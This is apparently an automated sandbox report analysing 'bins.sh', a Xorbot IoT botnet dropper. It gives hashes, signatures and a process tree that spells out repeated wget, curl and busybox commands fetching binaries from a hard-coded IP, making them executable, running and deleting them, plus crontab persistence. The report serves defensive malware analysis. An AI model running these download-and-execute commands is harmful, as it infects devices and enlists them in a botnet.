Analysis

  • max time kernel
    150s
  • max time network
    108s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29-11-2024 13:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0f1ab6ac305389f1651f86ae8ee9487a

  • SHA1

    cc133fbbf8643f3760dbd7399724c620cc9e2ae3

  • SHA256

    987822b12edf58efb6a80d22ef3e6ea7cfa0d308fc363137aebd9471dc52e055

  • SHA512

    b828c6748e67d60491dbc1ce7d10fc3f6aaa10e8dbc12e07711adecc9f01c1c2970099204050333e4846e85263206ce32a5acb153e081038b322e17b43ec7572

  • SSDEEP

    192:dI34uu03vbUxuYVaSlRJ66TlRJ66v7Buu03vbaf/:dI34uu03zUxpVaI1uu03zaf/

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:707
        • /usr/bin/wget
          wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          ./j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            ./p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
              PID:755
            • /usr/bin/wget
              wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Writes file to tmp directory
              PID:756
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Writes file to tmp directory
              PID:769
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • File and Directory Permissions Modification
              PID:789
            • /tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              ./CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Executes dropped EXE
              PID:790
            • /bin/rm
              rm CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
                PID:793
              • /usr/bin/wget
                wget http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Writes file to tmp directory
                PID:795
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Writes file to tmp directory
                PID:800
              • /bin/chmod
                chmod 777 ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • File and Directory Permissions Modification
                PID:801
              • /tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                ./ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Executes dropped EXE
                PID:802
              • /bin/rm
                rm ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                  PID:804
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:830
                • /tmp/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  ./cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Executes dropped EXE
                  PID:831
                • /bin/rm
                  rm cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                    PID:833
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Writes file to tmp directory
                    PID:835
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:843
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Writes file to tmp directory
                    PID:844
                  • /bin/chmod
                    chmod 777 YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:845
                  • /tmp/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    ./YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Executes dropped EXE
                    PID:846
                  • /bin/rm
                    rm YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                      PID:848
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      2⤵
                      • Writes file to tmp directory
                      PID:849
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      2⤵
                      • Writes file to tmp directory
                      PID:853
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      2⤵
                      • Writes file to tmp directory
                      PID:854
                    • /bin/chmod
                      chmod 777 1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      2⤵
                      • File and Directory Permissions Modification
                      PID:855
                    • /tmp/1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      ./1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      2⤵
                      • Executes dropped EXE
                      PID:856
                    • /bin/rm
                      rm 1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                      2⤵
                        PID:858
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                        2⤵
                        • Writes file to tmp directory
                        PID:859
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:860
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                        2⤵
                        • Writes file to tmp directory
                        PID:861
                      • /bin/chmod
                        chmod 777 cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                        2⤵
                        • File and Directory Permissions Modification
                        PID:862
                      • /tmp/cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                        ./cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:863
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:865
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:866
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:867
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:868
                          • /bin/rm
                            rm cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU
                            2⤵
                              PID:870
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                              2⤵
                                PID:873
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                                2⤵
                                • Reads runtime system information
                                PID:874
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                                2⤵
                                • Writes file to tmp directory
                                PID:875
                              • /bin/chmod
                                chmod 777 bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                                2⤵
                                • File and Directory Permissions Modification
                                PID:876
                              • /tmp/bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                                ./bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                                2⤵
                                • Executes dropped EXE
                                PID:877
                              • /bin/rm
                                rm bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg
                                2⤵
                                  PID:879
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                  2⤵
                                    PID:880
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                    2⤵
                                    • Reads runtime system information
                                    PID:881
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:882
                                  • /bin/chmod
                                    chmod 777 hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:883
                                  • /tmp/hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                    ./hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                    2⤵
                                    • Executes dropped EXE
                                    PID:884
                                  • /bin/rm
                                    rm hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV
                                    2⤵
                                      PID:886
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                      2⤵
                                        PID:887
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                        2⤵
                                        • Reads runtime system information
                                        PID:888
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:889
                                      • /bin/chmod
                                        chmod 777 DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:890
                                      • /tmp/DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                        ./DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                        2⤵
                                        • Executes dropped EXE
                                        PID:891
                                      • /bin/rm
                                        rm DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2
                                        2⤵
                                          PID:893
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/a9XraCkCfXnUjFXlFeKkOyByKF3LrL3S1E
                                          2⤵
                                            PID:894

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2

                                          Filesize

                                          122KB

                                          MD5

                                          cd3d4b9c643e5b473fb4d88ed05f0716

                                          SHA1

                                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                                          SHA256

                                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                          SHA512

                                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                        • /tmp/DAiFpK9IQx6eop9miQG9rDoB3rMInjdLO2

                                          Filesize

                                          177KB

                                          MD5

                                          786d75a158fe731feca3880f436082c0

                                          SHA1

                                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                          SHA256

                                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                          SHA512

                                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                        • /tmp/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /tmp/bD2fQFquJm3D7Qn3gXLmFYIKsACfuzl8zg

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /tmp/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH

                                          Filesize

                                          107KB

                                          MD5

                                          eb9c3a0de91fcf16ba17cb24608df68c

                                          SHA1

                                          09d95a7d70d5e115d103be51edff7c498d272fac

                                          SHA256

                                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                          SHA512

                                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                        • /tmp/cmiXGib1ooKklCEYk4VOd9klqzCfMVABRU

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/hFs3gjMJgiGKoTshMx0sb6Krlz9nFHWeYV

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2

                                          Filesize

                                          117KB

                                          MD5

                                          849fa04ef88a8e8de32cb2e8538de5fe

                                          SHA1

                                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                          SHA256

                                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                          SHA512

                                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                        • /tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /var/spool/cron/crontabs/tmp.BDbO5F

                                          Filesize

                                          210B

                                          MD5

                                          131b69af72bc432cbd5214cc3e07be42

                                          SHA1

                                          2fce78674cc399fa3c8ac907d049e281ec905179

                                          SHA256

                                          f27e71e4fb027e4735da490265bb2ac85aea25bf492b1cf4c6b1eaf87b2394dd

                                          SHA512

                                          d42305173f240660819c0778044c98395bd63e1222e32197e8cd568ac091b56cfaee9f2632ca4342bd2fa248f5140c5e46fb04121bf66278200f8b4e7137b332